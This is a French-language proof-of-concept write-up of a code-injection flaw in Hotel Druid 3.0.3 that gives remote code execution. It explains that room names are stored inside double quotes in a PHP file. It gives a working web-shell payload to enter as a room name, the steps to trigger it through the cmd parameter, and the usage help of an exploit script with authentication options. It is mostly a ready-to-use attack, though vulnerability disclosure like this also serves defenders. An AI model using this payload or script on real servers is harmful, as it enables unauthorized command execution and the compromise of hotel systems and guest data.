
Hotel Druid 3.0.3 - Injection de code menant à une exécution de code à distance
Une vulnérabilité d'injection de code a été découverte dans l'application Hotel Druid v3.0.3, qu'un attaquant pourrait exploiter pour exécuter du code à distance sur le serveur.
Pour une exploitation réussie, un attaquant doit avoir le privilège d'ajouter une nouvelle chambre.
La vulnérabilité se produit car les noms de chambres sont stockés dans un fichier nommé /dati/selectappartamenti.php en utilisant des guillemets doubles.
<?php
echo "
<option value=\"Room1\">Room1</option>
<option value=\"Room2\">Room2</option>
<option value=\"Room3\">Room3</option>
";
?>
Pour effectuer une exploitation réussie, ajoutez une chambre avec la charge utile suivante comme nom de chambre.
{${system($_REQUEST[cmd])}}
Après avoir ajouté une nouvelle chambre, allez dans /dati/selectappartamenti.php et déclenchez la webshell en passant une commande via le paramètre cmd.
usage: hotel-druid.py [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [--noauth]
optional arguments:
-h, --help show this help message and exit
required arguments:
-t TARGET, --target TARGET
Target URL. Example : http://10.20.30.40/path/to/hoteldruid
-u USERNAME, --username USERNAME
Username
-p PASSWORD, --password PASSWORD
password
--noauth If No authentication is required to access the dashboard
Si l'application n'a pas d'authentification.
Utilisez l'option --noauth pour ne pas effectuer d'authentification.

Si le serveur a l'authentification activée, utilisez --username et --password pour vous authentifier.

Chercheur et rédacteur de POC - 0z09e